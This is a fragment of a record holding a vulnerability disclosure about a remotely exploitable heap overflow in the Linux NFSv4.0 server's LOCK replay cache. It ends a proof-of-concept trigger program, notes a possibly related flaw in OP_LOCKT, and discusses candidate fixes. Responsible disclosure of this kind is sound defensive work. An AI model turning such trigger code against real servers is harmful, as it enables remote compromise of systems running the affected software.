overflow triggered!\" : \"\");\n\n    close(sa);\n\n    close(sb);\n\n    return status == 10010 ? 0 : 1;\n\n}\n\n(Separately, when writing this down, I noticed that OP_LOCKT looks\n\nlike it might call this same codepath and be vulnerable in a similar\n\nway. If this report looks right I’ll go investigate there as well.)\n\nI don’t feel like I have a good enough understanding of these\n\nsubsystems to propose a patch at the moment. It feels wrong to just\n\ntruncate the size of the data before it goes into the cache, because\n\nthen this breaks the caching functionlity. Another option would be to\n\njust increase the size of the nfs4_replay struct but I’m not sure if\n\nthis would then cause other problems; I’ve tried to investigate and\n\ndidn’t find anything but I don’t feel confident enough to propose\n\nsomething here. If you think this is the right thing to do, I can go\n\ndigging around and make sure this won’t cause any other problems.\n\nAgain, please let me know if you have any questions about this or if\n\nthere’s anything I can do better in these reports.\n\nNicholas",
  "title": "NFSD: remotely exploitable heap buffer overflow in NFSv4.0 LOCK replay cache",
  "vendor_severity": null
}